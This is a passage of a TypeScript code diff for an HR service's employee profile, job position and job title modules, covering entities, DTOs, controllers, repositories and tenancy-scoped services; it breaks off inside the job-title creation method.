/** How net pay reaches the employee. Drives the payroll disbursement file (3.4). */
export enum ESalaryMode {
BANK = "BANK",
CASH = "CASH",
CHEQUE = "CHEQUE",
}
/** Ethiopian postal addressing: region → sub-city/zone → woreda → kebele. */
export type PersonalAddress = {
region?: string;
subCity?: string;
zone?: string;
woreda?: string;
kebele?: string;
houseNumber?: string;
};
/**
* The HR extension of `iam.employees`.
*
* `employeeId` is a soft reference — a plain UUID with NO foreign key into
* `iam.employees`, matching the platform stance (there are zero FKs from
* `freight.*` into `iam.*` either). Co-location in one database would allow a
* real FK; not taking it keeps IAM independently deployable and keeps HR rows
* readable when an IAM row is removed. Validation happens in
* `IamDirectoryService.requireEmployee` on the way in.
*
* NOTHING IAM stores is duplicated here — not name, unit, organization, user
* account or position. Every one of those is read by joining `iam.employees`
* and `iam.employee_positions` at query time. The organization in particular is
* deliberately NOT copied: it is IAM's fact, and a stale copy here would be a
* second answer to "which tenant is this person in".
*
* The only column that is HR's own identifier rather than an HR attribute is
* `employeeNumber`, which HR issues and IAM has no equivalent of.
*/
@Entity({ schema: "hr", name: "employee_profiles" })
@Unique("uq_employee_profiles_employee_id", ["employeeId"])
@Unique("uq_employee_profiles_employee_number", ["employeeNumber"])
@Index("idx_employee_profiles_state", ["employmentState"])
export class EmployeeProfile extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
/** Soft reference → `iam.employees.id`. The extension point. */
@Column({ type: "uuid", name: "employee_id" })
employeeId!: string;
/**
* Human-facing payroll identifier. Globally unique, NOT per-organization.
*
* Per-org uniqueness would need `organization_id` stored here, and the
* organization is IAM's fact, not HR's — it is read by joining
* `iam.employees`. A global number also removes a real confusion: with
* per-org numbering a cross-organization list shows two different people
* both labelled EMP-00001.
*/
@Column({ type: "varchar", length: 64, name: "employee_number" })
employeeNumber!: string;
// ── Personal ──────────────────────────────────────────────────────────────
@Column({ type: "date", name: "date_of_birth", nullable: true })
dateOfBirth?: string | null;
/** Ethiopian-calendar rendering of `dateOfBirth`, stored so reports and IDs
* do not have to re-derive it (and cannot disagree about the conversion). */
@Column({
type: "varchar",
length: 32,
name: "amharic_date_of_birth",
nullable: true,
})
amharicDateOfBirth?: string | null;
@Column({ type: "varchar", length: 16, name: "gender", nullable: true })
gender?: EGender | null;
@Column({
type: "varchar",
length: 64,
name: "nationality",
nullable: true,
default: "Ethiopian",
})
nationality?: string | null;
/** Fayda / national ID number. */
@Column({ type: "varchar", length: 64, name: "national_id", nullable: true })
nationalId?: string | null;
/** Taxpayer Identification Number — required on the ERCA income tax report. */
@Column({ type: "varchar", length: 32, name: "tin_number", nullable: true })
tinNumber?: string | null;
@Column({
type: "varchar",
length: 16,
name: "marital_status",
nullable: true,
})
maritalStatus?: EMaritalStatus | null;
@Column({ type: "int", name: "children_count", default: 0 })
childrenCount!: number;
@Column({ type: "varchar", length: 32, name: "work_phone", nullable: true })
workPhone?: string | null;
/**
* Only populated when the organization issues a work address distinct from
* `iam.users.email`. Left null otherwise rather than copying the IAM value.
*/
@Column({ type: "varchar", length: 128, name: "work_email", nullable: true })
workEmail?: string | null;
@Column({ type: "jsonb", name: "personal_address", nullable: true })
personalAddress?: PersonalAddress | null;
@Column({ type: "jsonb", name: "emergency_contact_name", nullable: true })
emergencyContactName?: { am: string; en: string } | null;
@Column({
type: "varchar",
length: 32,
name: "emergency_contact_phone",
nullable: true,
})
emergencyContactPhone?: string | null;
@Column({
type: "varchar",
length: 64,
name: "emergency_contact_relation",
nullable: true,
})
emergencyContactRelation?: string | null;
// ── Employment ────────────────────────────────────────────────────────────
@Column({ type: "uuid", name: "job_title_id", nullable: true })
jobTitleId?: string | null;
@ManyToOne(() => JobTitle, { nullable: true, onDelete: "SET NULL" })
@JoinColumn({ name: "job_title_id" })
jobTitle?: JobTitle | null;
/** Soft reference → `iam.locations.id`. IAM already models work locations. */
@Column({ type: "uuid", name: "work_location_id", nullable: true })
workLocationId?: string | null;
@Column({
type: "varchar",
length: 16,
name: "employment_type",
default: EEmploymentType.PERMANENT,
})
employmentType!: EEmploymentType;
@Column({ type: "date", name: "hire_date" })
hireDate!: string;
@Column({
type: "varchar",
length: 32,
name: "amharic_hire_date",
nullable: true,
})
amharicHireDate?: string | null;
@Column({ type: "date", name: "contract_end_date", nullable: true })
contractEndDate?: string | null;
@Column({ type: "date", name: "probation_end_date", nullable: true })
probationEndDate?: string | null;
@Column({
type: "varchar",
length: 16,
name: "employment_state",
default: EEmploymentState.PROBATION,
})
employmentState!: EEmploymentState;
@Column({ type: "date", name: "termination_date", nullable: true })
terminationDate?: string | null;
@Column({
type: "varchar",
length: 128,
name: "termination_reason",
nullable: true,
})
terminationReason?: string | null;
/**
* Manager OVERRIDE only. Leave it null and the approval chain resolves through
* the IAM position hierarchy (`IamDirectoryService.findLineManagerEmployeeId`),
* which is the structure HR must not duplicate. Set it only where the reporting
* line genuinely differs from the org chart — a secondment, say.
*
* Soft reference → `iam.employees.id`, for symmetry with `employeeId`: the
* override names a person, not an HR profile, so it stays valid even before
* that manager has been given an HR profile of their own.
*/
@Column({ type: "uuid", name: "manager_employee_id", nullable: true })
managerEmployeeId?: string | null;
// ── Payroll-critical ──────────────────────────────────────────────────────
@Column({
type: "varchar",
length: 16,
name: "salary_mode",
default: ESalaryMode.BANK,
})
salaryMode!: ESalaryMode;
@Column({ type: "varchar", length: 128, name: "bank_name", nullable: true })
bankName?: string | null;
@Column({
type: "varchar",
length: 64,
name: "bank_account_number",
nullable: true,
})
bankAccountNumber?: string | null;
@Column({
type: "varchar",
length: 128,
name: "bank_account_name",
nullable: true,
})
bankAccountName?: string | null;
/**
* Whether the 7%/11% pension contributions apply (§3.4). Defaulted from
* `employmentType` — contract, intern and part-time staff are excluded — and
* overridable, because the exclusion is a policy default rather than a law
* that holds for every contract type.
*/
@Column({ type: "boolean", name: "is_pension_eligible", default: true })
isPensionEligible!: boolean;
// ── Media ─────────────────────────────────────────────────────────────────
/** Soft reference → the DMS document id. */
@Column({ type: "uuid", name: "profile_photo_document_id", nullable: true })
profilePhotoDocumentId?: string | null;
/**
* True when the row was created by auto-provisioning rather than by someone
* filling in the form. Its hire date and employment type are defaults, not
* recorded facts — payroll and leave accrual both key off hire date, so the
* UI must prompt for the real values before either is trusted.
*/
@Column({ type: "boolean", name: "is_provisional", default: false })
isProvisional!: boolean;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
@OneToMany(() => EmployeeDocument, (document) => document.employeeProfile)
documents?: EmployeeDocument[];
}

View File

@@ -0,0 +1,41 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import { Type } from "class-transformer";
import {
IsBoolean,
IsInt,
IsOptional,
IsUUID,
Max,
Min,
} from "class-validator";
export class CreateJobPositionDto {
@ApiProperty({
format: "uuid",
description:
"iam.positions.id this extends. One headcount record per position.",
})
@IsUUID()
positionId!: string;
@ApiPropertyOptional({ format: "uuid" })
@IsOptional()
@IsUUID()
jobTitleId?: string;
@ApiPropertyOptional({ minimum: 0, maximum: 10000, default: 1 })
@IsOptional()
@Type(() => Number)
@IsInt()
@Min(0)
@Max(10000)
budgetedCount?: number;
@ApiPropertyOptional({
default: false,
description: "Open for recruitment. Independent of whether it is vacant.",
})
@IsOptional()
@IsBoolean()
isOpen?: boolean;
}

View File

@@ -0,0 +1,11 @@
import { OmitType, PartialType } from "@nestjs/swagger";
import { CreateJobPositionDto } from "./create-job-position.dto";
/**
* `positionId` is omitted: re-pointing a headcount record at a different IAM
* position would move a budget line silently. Delete and re-create instead.
*/
export class UpdateJobPositionDto extends PartialType(
OmitType(CreateJobPositionDto, ["positionId"] as const),
) {}

View File

@@ -0,0 +1,65 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import {
Check,
Column,
Entity,
JoinColumn,
ManyToOne,
PrimaryGeneratedColumn,
Unique,
} from "typeorm";
import { JobTitle } from "../../job-titles/entities/job-title.entity";
/**
* The headcount / vacancy layer over `iam.positions`.
*
* Stores NOTHING IAM already holds — not the unit, not the organization. Both
* come from `iam.positions` and are read by joining. A copy here would be a
* second answer that goes stale the moment a position is moved.
*
* It EXTENDS a position, never replaces it: `positionId` is a soft reference to
* the IAM slot, unique here so a position cannot acquire two competing headcount
* records. IAM keeps owning who holds the position; HR adds what it is graded as,
* how many bodies it is budgeted for, and whether it is open for recruitment
* (which 3.5 reads when creating a job opening).
*/
@Entity({ schema: "hr", name: "job_positions" })
@Unique("uq_job_positions_position_id", ["positionId"])
@Check("ck_job_positions_budgeted_count", `"budgeted_count" >= 0`)
@Check("ck_job_positions_current_count", `"current_count" >= 0`)
export class JobPosition extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
/** Soft reference → `iam.positions.id`. */
@Column({ type: "uuid", name: "position_id" })
positionId!: string;
@Column({ type: "uuid", name: "job_title_id", nullable: true })
jobTitleId?: string | null;
@ManyToOne(() => JobTitle, { nullable: true, onDelete: "SET NULL" })
@JoinColumn({ name: "job_title_id" })
jobTitle?: JobTitle | null;
@Column({ type: "int", name: "budgeted_count", default: 1 })
budgetedCount!: number;
/**
* Cache of the current holder count in IAM. Refreshed from
* `IamDirectoryService.countCurrentPositionHolders` whenever the position is
* read or written through HR — IAM stays the source of truth, this column just
* makes "which posts are under-filled" answerable in one query.
*/
@Column({ type: "int", name: "current_count", default: 0 })
currentCount!: number;
/** Open for recruitment. Independent of vacancy: a post can be under-filled
* and still frozen, which is exactly what a hiring freeze is. */
@Column({ type: "boolean", name: "is_open", default: false })
isOpen!: boolean;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
}

View File

@@ -0,0 +1,105 @@
import {
Body,
Controller,
Delete,
Get,
HttpCode,
HttpStatus,
Param,
ParseBoolPipe,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../common/hr-guards";
import { actorFrom } from "../../common/current-actor.util";
import { HR_PERMS } from "../../seed/hr-permissions.registry";
import { PaginationQueryDto } from "../../common/pagination.dto";
import { JobPositionsService } from "./job-positions.service";
import { CreateJobPositionDto } from "./dto/create-job-position.dto";
import { UpdateJobPositionDto } from "./dto/update-job-position.dto";
@ApiTags("job-positions")
@ApiBearerAuth()
@Controller("job-positions")
@HrStaff([HR_PERMS.org.manageJobPosition, HR_PERMS.org.viewOrg])
export class JobPositionsController {
constructor(private readonly jobPositionsService: JobPositionsService) {}
@Post()
@HrStaff(HR_PERMS.org.manageJobPosition)
@ApiOperation({
summary: "Add headcount/vacancy data to an existing IAM position",
})
create(@Body() dto: CreateJobPositionDto, @CurrentUser() user: TCurrentUser) {
return this.jobPositionsService.create(dto, actorFrom(user));
}
@Get()
@HrStaff(HR_PERMS.org.viewOrg)
@ApiOperation({ summary: "List job positions" })
findAll(
@Query() pagination: PaginationQueryDto,
@Query("unitId") unitId: string | undefined,
@Query("jobTitleId") jobTitleId: string | undefined,
@Query("isOpen", new ParseBoolPipe({ optional: true }))
isOpen: boolean | undefined,
@Query("vacantOnly", new ParseBoolPipe({ optional: true }))
vacantOnly: boolean | undefined,
@CurrentUser() user: TCurrentUser,
) {
return this.jobPositionsService.findAll(
{ ...pagination, unitId, jobTitleId, isOpen, vacantOnly },
actorFrom(user),
);
}
@Get("headcount-totals")
@HrStaff(HR_PERMS.org.viewOrg)
@ApiOperation({ summary: "Budgeted vs current headcount, and the gap" })
headcountTotals(@CurrentUser() user: TCurrentUser) {
return this.jobPositionsService.headcountTotals(actorFrom(user));
}
@Get(":id")
@HrStaff(HR_PERMS.org.viewOrg)
@ApiOperation({
summary: "One job position, with the holder count re-read from IAM",
})
findOne(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.jobPositionsService.findOne(id, actorFrom(user));
}
@Patch(":id")
@HrStaff(HR_PERMS.org.manageJobPosition)
@ApiOperation({ summary: "Update budget, grade or recruitment status" })
update(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: UpdateJobPositionDto,
@CurrentUser() user: TCurrentUser,
) {
return this.jobPositionsService.update(id, dto, actorFrom(user));
}
@Delete(":id")
@HrStaff(HR_PERMS.org.manageJobPosition)
@HttpCode(HttpStatus.NO_CONTENT)
@ApiOperation({
summary: "Delete a headcount record",
description: "Refused while anyone still holds the position in IAM.",
})
remove(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.jobPositionsService.remove(id, actorFrom(user));
}
}

View File

@@ -0,0 +1,17 @@
import { Module } from "@nestjs/common";
import { TypeOrmModule } from "@nestjs/typeorm";
import { JobPosition } from "./entities/job-position.entity";
import { JobPositionsRepository } from "./job-positions.repository";
import { JobPositionsService } from "./job-positions.service";
import { JobPositionsController } from "./job-positions.controller";
import { JobTitlesModule } from "../job-titles/job-titles.module";
@Module({
imports: [TypeOrmModule.forFeature([JobPosition]), JobTitlesModule],
controllers: [JobPositionsController],
providers: [JobPositionsRepository, JobPositionsService],
// Recruitment (3.5) creates job openings against an open position.
exports: [JobPositionsRepository, JobPositionsService],
})
export class JobPositionsModule {}

View File

@@ -0,0 +1,103 @@
import { Injectable } from "@nestjs/common";
import { InjectRepository } from "@nestjs/typeorm";
import { BaseRepository } from "@edr/api-common";
import { Repository } from "typeorm";
import { JobPosition } from "./entities/job-position.entity";
@Injectable()
export class JobPositionsRepository extends BaseRepository<JobPosition> {
constructor(
@InjectRepository(JobPosition) repository: Repository<JobPosition>,
) {
super(repository);
}
findByPositionId(positionId: string): Promise<JobPosition | null> {
return this.repository.findOne({ where: { positionId } });
}
async findPage(
organizationId: string | null,
filters: {
unitId?: string;
jobTitleId?: string;
isOpen?: boolean;
vacantOnly?: boolean;
page?: number;
limit?: number;
sortOrder?: "ASC" | "DESC";
},
): Promise<[JobPosition[], number]> {
const page = filters.page ?? 1;
const limit = filters.limit ?? 25;
const qb = this.repository
.createQueryBuilder("position")
.leftJoinAndSelect("position.jobTitle", "jobTitle")
.where("1 = 1");
// `null` = every organization (super admin). `hr.job_positions` stores no
// copy of the organization — it lives on `iam.positions`, joined here the
// same way `headcountTotals` below already does it. (A direct
// `position.organization_id` reference doesn't exist on this table and
// 500s for any non-super-admin actor.)
if (organizationId) {
qb.andWhere(
`EXISTS (SELECT 1 FROM iam.positions p
WHERE p.id = position.position_id
AND p.organization_id = :organizationId)`,
{ organizationId },
);
}
if (filters.unitId) {
qb.andWhere("position.unit_id = :unitId", { unitId: filters.unitId });
}
if (filters.jobTitleId) {
qb.andWhere("position.job_title_id = :jobTitleId", {
jobTitleId: filters.jobTitleId,
});
}
if (filters.isOpen !== undefined) {
qb.andWhere("position.is_open = :isOpen", { isOpen: filters.isOpen });
}
// NOTE on naming: `where`/`select` fragments are raw SQL, so they use the
// COLUMN name (organization_id). `orderBy` is resolved through entity
// metadata instead, so it needs the PROPERTY name (createdAt) — passing a
// column there throws `Cannot read properties of undefined (reading
// 'databaseName')` at query build time, not a SQL error.
if (filters.vacantOnly) {
qb.andWhere("position.current_count < position.budgeted_count");
}
return qb
.orderBy("position.createdAt", filters.sortOrder ?? "DESC")
.skip((page - 1) * limit)
.take(limit)
.getManyAndCount();
}
/** Budget vs actual headcount for the organization, in one query. */
async headcountTotals(
organizationId: string | null,
): Promise<{ budgeted: number; current: number; vacant: number }> {
const qb = this.repository
.createQueryBuilder("position")
.select("COALESCE(SUM(position.budgeted_count), 0)::text", "budgeted")
.addSelect("COALESCE(SUM(position.current_count), 0)::text", "current");
if (organizationId) {
qb.where(
`EXISTS (SELECT 1 FROM iam.positions p
WHERE p.id = position.position_id
AND p.organization_id = :organizationId)`,
{ organizationId },
);
}
const row = await qb.getRawOne<{ budgeted: string; current: string }>();
const budgeted = parseInt(row?.budgeted ?? "0", 10);
const current = parseInt(row?.current ?? "0", 10);
return { budgeted, current, vacant: Math.max(budgeted - current, 0) };
}
}

View File

@@ -0,0 +1,168 @@
import {
BadRequestException,
ConflictException,
ForbiddenException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { JobPositionsRepository } from "./job-positions.repository";
import { JobPosition } from "./entities/job-position.entity";
import { CreateJobPositionDto } from "./dto/create-job-position.dto";
import { UpdateJobPositionDto } from "./dto/update-job-position.dto";
import { IamDirectoryService } from "../../iam-directory/iam-directory.service";
import { JobTitlesRepository } from "../job-titles/job-titles.repository";
import { ActorContext, orgScope } from "../employees/employees.service";
import { Paginated, paginate } from "../../common/pagination.dto";
@Injectable()
export class JobPositionsService {
constructor(
private readonly jobPositionsRepository: JobPositionsRepository,
private readonly jobTitlesRepository: JobTitlesRepository,
private readonly iamDirectory: IamDirectoryService,
) {}
async create(
dto: CreateJobPositionDto,
actor: ActorContext,
): Promise<JobPosition> {
const position = await this.iamDirectory.requirePosition(dto.positionId);
// The IAM position decides which organization the record belongs to, and it
// must be the caller's own unless they are a super admin. Taking the org
// from the actor instead would file the record under the wrong tenant when
// an admin creates across organizations.
if (!actor.isSuperAdmin && position.organizationId !== actor.organizationId) {
throw new ForbiddenException(
`IAM position ${dto.positionId} belongs to another organization`,
);
}
const existing = await this.jobPositionsRepository.findByPositionId(
dto.positionId,
);
if (existing) {
throw new ConflictException(
`IAM position ${dto.positionId} already has headcount record ${existing.id}`,
);
}
if (dto.jobTitleId) {
await this.assertJobTitle(dto.jobTitleId, orgScope(actor));
}
return this.jobPositionsRepository.create({
...dto,
// Seeded from IAM at creation so the record is correct before anyone opens
// the list; kept fresh by `refreshCurrentCount` on every read of one.
currentCount: await this.iamDirectory.countCurrentPositionHolders(
dto.positionId,
),
createdBy: actor.userId,
});
}
async update(
id: string,
dto: UpdateJobPositionDto,
actor: ActorContext,
): Promise<JobPosition> {
const position = await this.requirePosition(id, orgScope(actor));
if (dto.jobTitleId) {
await this.assertJobTitle(dto.jobTitleId, orgScope(actor));
}
return (await this.jobPositionsRepository.update(id, dto)) ?? position;
}
async findAll(
filters: {
unitId?: string;
jobTitleId?: string;
isOpen?: boolean;
vacantOnly?: boolean;
page?: number;
limit?: number;
sortOrder?: "ASC" | "DESC";
},
actor: ActorContext,
): Promise<Paginated<JobPosition>> {
const [items, total] = await this.jobPositionsRepository.findPage(
orgScope(actor),
filters,
);
return paginate(items, total, filters.page ?? 1, filters.limit ?? 25);
}
/** One position, with its holder count re-read from IAM first. */
async findOne(id: string, actor: ActorContext): Promise<JobPosition> {
const position = await this.requirePosition(id, orgScope(actor));
return this.refreshCurrentCount(position);
}
async headcountTotals(actor: ActorContext) {
return this.jobPositionsRepository.headcountTotals(orgScope(actor));
}
async remove(id: string, actor: ActorContext): Promise<void> {
const position = await this.requirePosition(id, orgScope(actor));
const fresh = await this.refreshCurrentCount(position);
if (fresh.currentCount > 0) {
throw new BadRequestException(
`${fresh.currentCount} employee(s) currently hold this position in IAM. Move them first.`,
);
}
await this.jobPositionsRepository.softDelete(id);
}
/**
* Re-read the holder count from IAM and persist it when it has moved.
*
* `current_count` is a cache, not a second source of truth — IAM owns who
* holds a position, and writes happen there without HR ever being told. The
* write is conditional so a read does not churn `updated_at` on every request.
*/
private async refreshCurrentCount(
position: JobPosition,
): Promise<JobPosition> {
const actual = await this.iamDirectory.countCurrentPositionHolders(
position.positionId,
);
if (actual === position.currentCount) return position;
return (
(await this.jobPositionsRepository.update(position.id, {
currentCount: actual,
})) ?? position
);
}
private async assertJobTitle(
jobTitleId: string,
organizationId: string | null,
): Promise<void> {
const title = await this.jobTitlesRepository.findById(jobTitleId);
if (!title || (organizationId && title.organizationId !== organizationId)) {
throw new BadRequestException(
`Job title ${jobTitleId} does not exist in this organization`,
);
}
}
/** `organizationId: null` = no scoping (super admin). */
private async requirePosition(
id: string,
organizationId: string | null,
): Promise<JobPosition> {
const record = await this.jobPositionsRepository.findById(id);
if (!record) throw new NotFoundException(`Job position ${id} not found`);
// Tenancy comes from the IAM position, not from a copy stored here.
if (organizationId) {
const iam = await this.iamDirectory.findPosition(record.positionId);
if (iam?.organizationId !== organizationId) {
throw new NotFoundException(`Job position ${id} not found`);
}
}
return record;
}
}

View File

@@ -0,0 +1,63 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import { Type } from "class-transformer";
import {
IsBoolean,
IsInt,
IsNumberString,
IsOptional,
IsString,
Matches,
Max,
MaxLength,
Min,
ValidateNested,
} from "class-validator";
import { LocalizedNameDto } from "../../employees/dto/create-employee-profile.dto";
export class CreateJobTitleDto {
@ApiProperty({ type: LocalizedNameDto })
@ValidateNested()
@Type(() => LocalizedNameDto)
name!: LocalizedNameDto;
@ApiProperty({
maxLength: 32,
description: "Unique within the organization. Upper-case letters, digits, dash.",
})
@IsString()
@MaxLength(32)
@Matches(/^[A-Z0-9-]+$/, {
message: "code must contain only A-Z, 0-9 and -",
})
code!: string;
@ApiPropertyOptional({ minimum: 1, maximum: 30, default: 1 })
@IsOptional()
@Type(() => Number)
@IsInt()
@Min(1)
@Max(30)
gradeLevel?: number;
@ApiPropertyOptional({ description: "ETB, 2 decimal places" })
@IsOptional()
@IsNumberString({ no_symbols: false })
salaryBandMin?: string;
@ApiPropertyOptional({ description: "ETB, 2 decimal places" })
@IsOptional()
@IsNumberString({ no_symbols: false })
salaryBandMax?: string;
@ApiPropertyOptional({ type: LocalizedNameDto })
@IsOptional()
@ValidateNested()
@Type(() => LocalizedNameDto)
description?: LocalizedNameDto;
@ApiPropertyOptional({ default: true })
@IsOptional()
@IsBoolean()
isActive?: boolean;
}

View File

@@ -0,0 +1,5 @@
import { PartialType } from "@nestjs/swagger";
import { CreateJobTitleDto } from "./create-job-title.dto";
export class UpdateJobTitleDto extends PartialType(CreateJobTitleDto) {}

View File

@@ -0,0 +1,67 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import {
Check,
Column,
Entity,
Index,
PrimaryGeneratedColumn,
Unique,
} from "typeorm";
/**
* The grade / salary-band catalogue. IAM has no equivalent: `iam.positions` is a
* slot in the org chart ("Warehouse Supervisor, Dire Dawa"), whereas a job title
* is the graded role that slot is an instance of ("Supervisor, Grade 7"). Salary
* structures (3.4) attach to the title, not the slot.
*/
@Entity({ schema: "hr", name: "job_titles" })
@Unique("uq_job_titles_org_code", ["organizationId", "code"])
@Index("idx_job_titles_organization_id", ["organizationId"])
@Check(
"ck_job_titles_salary_band",
`"salary_band_min" IS NULL OR "salary_band_max" IS NULL OR "salary_band_max" >= "salary_band_min"`,
)
export class JobTitle extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "jsonb", name: "name" })
name!: { am: string; en: string };
@Column({ type: "varchar", length: 32, name: "code" })
code!: string;
/** Higher is more senior. Ordering key for grade-based reports and bands. */
@Column({ type: "int", name: "grade_level", default: 1 })
gradeLevel!: number;
@Column({
type: "numeric",
precision: 14,
scale: 2,
name: "salary_band_min",
nullable: true,
})
salaryBandMin?: string | null;
@Column({
type: "numeric",
precision: 14,
scale: 2,
name: "salary_band_max",
nullable: true,
})
salaryBandMax?: string | null;
@Column({ type: "jsonb", name: "description", nullable: true })
description?: { am: string; en: string } | null;
@Column({ type: "boolean", name: "is_active", default: true })
isActive!: boolean;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
}

View File

@@ -0,0 +1,91 @@
import {
Body,
Controller,
Delete,
Get,
HttpCode,
HttpStatus,
Param,
ParseBoolPipe,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../common/hr-guards";
import { actorFrom } from "../../common/current-actor.util";
import { HR_PERMS } from "../../seed/hr-permissions.registry";
import { PaginationQueryDto } from "../../common/pagination.dto";
import { JobTitlesService } from "./job-titles.service";
import { CreateJobTitleDto } from "./dto/create-job-title.dto";
import { UpdateJobTitleDto } from "./dto/update-job-title.dto";
@ApiTags("job-titles")
@ApiBearerAuth()
@Controller("job-titles")
@HrStaff([HR_PERMS.org.manageJobTitle, HR_PERMS.org.viewOrg])
export class JobTitlesController {
constructor(private readonly jobTitlesService: JobTitlesService) {}
@Post()
@HrStaff(HR_PERMS.org.manageJobTitle)
@ApiOperation({ summary: "Create a job title (grade / salary band)" })
create(@Body() dto: CreateJobTitleDto, @CurrentUser() user: TCurrentUser) {
return this.jobTitlesService.create(dto, actorFrom(user));
}
@Get()
@HrStaff(HR_PERMS.org.viewOrg)
@ApiOperation({ summary: "List job titles" })
findAll(
@Query() pagination: PaginationQueryDto,
@Query("search") search: string | undefined,
@Query("isActive", new ParseBoolPipe({ optional: true }))
isActive: boolean | undefined,
@CurrentUser() user: TCurrentUser,
) {
return this.jobTitlesService.findAll(
{ ...pagination, search, isActive },
actorFrom(user),
);
}
@Get(":id")
@HrStaff(HR_PERMS.org.viewOrg)
@ApiOperation({ summary: "One job title" })
findOne(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.jobTitlesService.findOne(id, actorFrom(user));
}
@Patch(":id")
@HrStaff(HR_PERMS.org.manageJobTitle)
@ApiOperation({ summary: "Update a job title" })
update(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: UpdateJobTitleDto,
@CurrentUser() user: TCurrentUser,
) {
return this.jobTitlesService.update(id, dto, actorFrom(user));
}
@Delete(":id")
@HrStaff(HR_PERMS.org.manageJobTitle)
@HttpCode(HttpStatus.NO_CONTENT)
@ApiOperation({
summary: "Delete a job title",
description: "Refused while employees still hold it — deactivate instead.",
})
remove(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.jobTitlesService.remove(id, actorFrom(user));
}
}

View File

@@ -0,0 +1,17 @@
import { Module } from "@nestjs/common";
import { TypeOrmModule } from "@nestjs/typeorm";
import { JobTitle } from "./entities/job-title.entity";
import { JobTitlesRepository } from "./job-titles.repository";
import { JobTitlesService } from "./job-titles.service";
import { JobTitlesController } from "./job-titles.controller";
@Module({
imports: [TypeOrmModule.forFeature([JobTitle])],
controllers: [JobTitlesController],
providers: [JobTitlesRepository, JobTitlesService],
// The employees module validates a profile's job title, and payroll (3.4)
// reads the salary band off it.
exports: [JobTitlesRepository, JobTitlesService],
})
export class JobTitlesModule {}

View File

@@ -0,0 +1,70 @@
import { Injectable } from "@nestjs/common";
import { InjectRepository } from "@nestjs/typeorm";
import { BaseRepository } from "@edr/api-common";
import { Repository } from "typeorm";
import { JobTitle } from "./entities/job-title.entity";
@Injectable()
export class JobTitlesRepository extends BaseRepository<JobTitle> {
constructor(
@InjectRepository(JobTitle) repository: Repository<JobTitle>,
) {
super(repository);
}
findByCode(organizationId: string, code: string): Promise<JobTitle | null> {
return this.repository.findOne({ where: { organizationId, code } });
}
async findPage(
organizationId: string | null,
filters: {
search?: string;
isActive?: boolean;
page?: number;
limit?: number;
sortOrder?: "ASC" | "DESC";
},
): Promise<[JobTitle[], number]> {
const page = filters.page ?? 1;
const limit = filters.limit ?? 25;
const qb = this.repository.createQueryBuilder("title").where("1 = 1");
// `null` = every organization (super admin).
if (organizationId) {
qb.andWhere("title.organization_id = :organizationId", { organizationId });
}
if (filters.isActive !== undefined) {
qb.andWhere("title.is_active = :isActive", { isActive: filters.isActive });
}
if (filters.search) {
// Both locales of the jsonb name, plus the code.
qb.andWhere(
`(title.code ILIKE :search OR title.name->>'en' ILIKE :search OR title.name->>'am' ILIKE :search)`,
{ search: `%${filters.search}%` },
);
}
return qb
.orderBy("title.gradeLevel", filters.sortOrder ?? "ASC")
.addOrderBy("title.code", "ASC")
.skip((page - 1) * limit)
.take(limit)
.getManyAndCount();
}
/** How many profiles reference this title — the guard against deleting a
* title that salary structures and employees still point at. */
async countEmployeesUsing(jobTitleId: string): Promise<number> {
const row = await this.repository.manager.query<{ count: string }[]>(
`SELECT COUNT(*)::text AS count
FROM hr.employee_profiles
WHERE job_title_id = $1 AND deleted_at IS NULL`,
[jobTitleId],
);
return parseInt(row[0]?.count ?? "0", 10);
}
}

View File

@@ -0,0 +1,135 @@
import {
BadRequestException,
ConflictException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { JobTitlesRepository } from "./job-titles.repository";
import { JobTitle } from "./entities/job-title.entity";
import { CreateJobTitleDto } from "./dto/create-job-title.dto";
import { UpdateJobTitleDto } from "./dto/update-job-title.dto";
import { ActorContext, orgScope } from "../employees/employees.service";
import { Paginated, paginate } from "../../common/pagination.dto";
@Injectable()
export class JobTitlesService {
constructor(private readonly jobTitlesRepository: JobTitlesRepository) {}
private static assertBand(min?: string | null, max?: string | null): void {
if (min && max && Number(max) < Number(min)) {
throw new BadRequestException(
"salaryBandMax cannot be lower than salaryBandMin",
);
}
}
async create(
dto: CreateJobTitleDto,
actor: ActorContext,
): Promise<JobTitle> {
JobTitlesService.assertBand(dto.salaryBandMin, dto.salaryBandMax);
// A job title has no IAM parent to inherit an organization from, so it is
// created in the caller's own. A super admin with no employee record has
// none — better an explicit error than a row filed under an empty id.
if (!actor.organizationId) {
throw new BadRequestException(
"Cannot create a job title: this account has no organization. " +
"Job titles belong to a specific organization.",
);
}
const clash = await this.jobTitlesRepository.findByCode(
actor.organizationId,
dto.code,
);
if (clash) {
